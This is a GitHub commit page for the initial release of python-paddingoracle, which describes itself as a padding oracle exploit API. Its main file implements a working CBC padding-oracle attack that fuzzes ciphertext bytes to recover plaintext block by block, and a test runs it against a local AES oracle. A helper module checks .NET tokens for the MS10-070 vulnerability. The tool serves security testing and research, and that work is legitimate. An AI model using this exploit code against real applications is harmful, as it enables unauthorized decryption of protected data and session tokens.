Skip to content

Commit c38e1fb

Browse files
initial commit
0 parents  commit c38e1fb

5 files changed

Lines changed: 313 additions & 0 deletions

File tree

.gitignore

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
.DS_Store
2+
*.pyc
3+
*.pyo
4+
env
5+
dist
6+
docs/_build
7+
*.egg-info

README.md

Whitespace-only changes.

paddingoracle.py

Lines changed: 261 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
# -*- coding: utf-8 -*-
2+
'''
3+
Padding Oracle Exploit API
4+
~~~~~~~~~~~~~~~~~~~~~~~~~~
5+
'''
6+
7+
from itertools import izip, cycle
8+
import logging
9+
10+
11+
class BadPaddingException(Exception):
12+
'''
13+
Raised when a blackbox decryptor reveals a padding oracle.
14+
15+
This Exception type should be raised in :meth:`.PaddingOracle.oracle`.
16+
'''
17+
18+
19+
class PaddingOracle(object):
20+
'''
21+
Implementations should subclass this object and implement
22+
the :meth:`oracle` method.
23+
'''
24+
25+
def __init__(self, **kwargs):
26+
self.log = logging.getLogger(self.__class__.__name__)
27+
self.max_retries = int(kwargs.get('max_retries', 3))
28+
self.attempts = 0
29+
self.history = []
30+
self._decrypted = None
31+
32+
def oracle(self, data):
33+
'''
34+
Feeds *data* to a decryption function that reveals a Padding
35+
Oracle. If a Padding Oracle was revealed, this method
36+
should raise a :class:`.BadPaddingException`, otherwise this
37+
method should just return. A history of all responses should be
38+
stored in :attribute:`history`, regardless
39+
of whether they revealed a Padding Oracle or not. Responses
40+
from :attribute:`history` are fed to
41+
:meth:`analyze` to help identify padding oracles.
42+
43+
:param data: A bytearray of (fuzzed) encrypted bytes.
44+
:raises: :class:`BadPaddingException` if decryption reveals an
45+
oracle.
46+
'''
47+
raise NotImplementedError
48+
49+
def analyze(self):
50+
'''
51+
This method analyzes return :meth:`oracle` values stored in
52+
:attribute:`history` and returns the most likely
53+
candidate(s) that reveals a padding oracle.
54+
'''
55+
raise NotImplementedError
56+
57+
def encrypt(self, plaintext):
58+
'''
59+
Encrypts *plaintext* by exploiting a Padding Oracle.
60+
'''
61+
raise NotImplementedError
62+
63+
def decrypt(self, ciphertext, block_size=8, iv=None):
64+
'''
65+
Decrypts *ciphertext* by exploiting a Padding Oracle.
66+
67+
:param ciphertext: Encrypted data.
68+
:param block_size: Cipher block size (in bytes).
69+
:param iv: The initialization vector (iv), usually the first
70+
*block_size* bytes from the ciphertext. If no iv is given
71+
or iv is None, the first *block_size* bytes will be used.
72+
:returns: Decrypted data.
73+
'''
74+
ciphertext = bytearray(ciphertext)
75+
76+
self.log.debug('Attempting to decrypt %r bytes', str(ciphertext))
77+
78+
assert len(ciphertext) % block_size == 0, \
79+
"Ciphertext not of block size %d" % (block_size, )
80+
81+
if iv is not None:
82+
iv, ctext = bytearray(iv), ciphertext
83+
else:
84+
iv, ctext = ciphertext[:block_size], ciphertext[block_size:]
85+
86+
self._decrypted = decrypted = bytearray(len(ctext))
87+
88+
n = 0
89+
while ctext:
90+
block, ctext = ctext[:block_size], ctext[block_size:]
91+
92+
intermediate_bytes = self.bust(block, block_size=block_size)
93+
94+
# XOR the intermediate bytes with the the previous block (iv)
95+
# to get the plaintext
96+
97+
decrypted[n:n + block_size] = xor(intermediate_bytes, iv)
98+
99+
self.log.info('Decrypted block %d: %r',
100+
n / block_size, str(decrypted[n:n + block_size]))
101+
102+
# Update the IV to that of the current block to be used in the
103+
# next round
104+
105+
iv = block
106+
n += block_size
107+
108+
return decrypted
109+
110+
def bust(self, block, block_size=8):
111+
'''
112+
A block buster. This method busts one ciphertext block at a time.
113+
This method should not be called directly, instead use
114+
:meth:`decrypt`.
115+
116+
:param block:
117+
:param block_size:
118+
:returns: A bytearray containing the decrypted bytes
119+
'''
120+
intermediate_bytes = bytearray()
121+
122+
test_bytes = bytearray(block_size) # '\x00\x00\x00\x00...'
123+
test_bytes.extend(block)
124+
125+
self.log.debug('Processing block %r', str(block))
126+
127+
# Work on one byte at a time, starting with the last byte
128+
# and moving backwards
129+
130+
for byte_num in reversed(xrange(block_size)):
131+
retries = 0
132+
successful = False
133+
134+
# clear oracle history for each byte
135+
136+
self.history = []
137+
138+
# Break on first byte that returns an oracle, otherwise keep
139+
# trying until we exceed the max retry attempts (default is 3)
140+
141+
while retries < self.max_retries and not successful:
142+
for i in reversed(xrange(255)):
143+
144+
# Fuzz the test byte
145+
146+
test_bytes[byte_num] = i
147+
148+
# If a padding oracle could not be identified from the
149+
# response, this indicates the padding bytes we sent
150+
# were correct.
151+
152+
try:
153+
self.attempts += 1
154+
self.oracle(test_bytes[:])
155+
except BadPaddingException:
156+
157+
#TODO
158+
# if a padding oracle was seen in the response,
159+
# do not go any further, try the next byte in the
160+
# sequence. If we're in analysis mode, re-raise the
161+
# BadPaddingException.
162+
163+
if self.analyze is True:
164+
raise
165+
else:
166+
continue
167+
168+
except Exception:
169+
self.log.exception('Caught unhandled exception!\n'
170+
'Decrypted bytes so far: %r\n'
171+
'Current variables: %r\n',
172+
intermediate_bytes, self.__dict__)
173+
raise
174+
175+
successful = True
176+
177+
current_pad_byte = block_size - byte_num
178+
next_pad_byte = block_size - byte_num + 1
179+
decrypted_byte = test_bytes[byte_num] ^ current_pad_byte
180+
181+
intermediate_bytes.insert(0, decrypted_byte)
182+
183+
for k in xrange(byte_num, block_size):
184+
185+
# XOR the current test byte with the padding value
186+
# for this round to recover the decrypted byte
187+
188+
test_bytes[k] ^= current_pad_byte
189+
190+
# XOR it again with the padding byte for the
191+
# next round
192+
193+
test_bytes[k] ^= next_pad_byte
194+
195+
break
196+
197+
if successful:
198+
break
199+
else:
200+
retries += 1
201+
202+
else:
203+
raise RuntimeError('Could not decrypt byte %d in %r within '
204+
'maximum allotted retries (%d)' % (
205+
byte_num, block, self.max_retries))
206+
207+
return intermediate_bytes
208+
209+
210+
def xor(data, key):
211+
'''
212+
XOR two bytearray objects with each other.
213+
'''
214+
return bytearray([x ^ y for x, y in izip(data, cycle(key))])
215+
216+
217+
def test():
218+
import os
219+
from M2Crypto.util import pkcs7_pad
220+
from Crypto.Cipher import AES
221+
222+
teststring = 'The quick brown fox jumped over the lazy dog'
223+
224+
class PadBuster(PaddingOracle):
225+
def oracle(self, ctext):
226+
import struct
227+
228+
cipher = AES.new(key, AES.MODE_CBC, str(bytearray(AES.block_size)))
229+
ptext = cipher.decrypt(str(ctext))
230+
plen = struct.unpack("B", ptext[-1])[0]
231+
232+
padding_is_good = (ptext[-plen:] == struct.pack("B", plen) * plen)
233+
234+
if padding_is_good:
235+
return
236+
237+
raise BadPaddingException
238+
239+
padbuster = PadBuster()
240+
241+
key = os.urandom(AES.block_size)
242+
cipher = AES.new(key, AES.MODE_CBC, str(bytearray(AES.block_size)))
243+
244+
data = pkcs7_pad(teststring, blklen=AES.block_size)
245+
ctext = cipher.encrypt(data)
246+
247+
iv = bytearray(AES.block_size)
248+
decrypted = padbuster.decrypt(ctext, block_size=AES.block_size, iv=iv)
249+
250+
assert decrypted == data, \
251+
'Decrypted data %r does not match original %r' % (
252+
decrypted, data)
253+
254+
print "Data: %r" % (data, )
255+
print "Ciphertext: %r" % (ctext, )
256+
print "Decrypted: %r" % (str(decrypted), )
257+
print "\nRecovered in %d attempts" % (padbuster.attempts, )
258+
259+
260+
if __name__ == '__main__':
261+
test()

setup.py

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
try:
2+
from setuptools import setup
3+
except ImportError:
4+
from distutils.core import setup
5+
6+
7+
setup(
8+
name='paddingoracle',
9+
author='Marcin Wielgoszewski',
10+
author_email='[email protected]',
11+
version='0.1',
12+
url='https://github.com/mwielgoszewski/python-paddingoracle',
13+
py_modules=['paddingoracle'],
14+
description='A portable, padding oracle exploit API',
15+
zip_safe=False,
16+
classifiers=[
17+
'License :: OSI Approved :: BSD License',
18+
'Programming Language :: Python'
19+
]
20+
)

utils.py

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# -*- coding: utf-8 -*-
2+
from base64 import urlsafe_b64decode, urlsafe_b64encode
3+
4+
5+
def dotnet_b64decode(s):
6+
s, pad_bytes = s[:-1], int(s[-1])
7+
s += ('=' * pad_bytes)
8+
return urlsafe_b64decode(s)
9+
10+
def dotnet_b64encode(s):
11+
s = urlsafe_b64encode(s)
12+
pad_bytes = s.count('=')
13+
return s[:-pad_bytes or len(s)] + str(pad_bytes)
14+
15+
def is_vulnerable(encrypted):
16+
'''
17+
Checks encrypted token from ScriptResource.axd or WebResource.axd
18+
to determine if application is vulnerable to MS10-070.
19+
20+
:returns: True if vulnerable, else False
21+
'''
22+
if len(dotnet_b64decode(encrypted)) % 8 == 0:
23+
return True
24+
25+
return False

0 commit comments

Comments
 (0)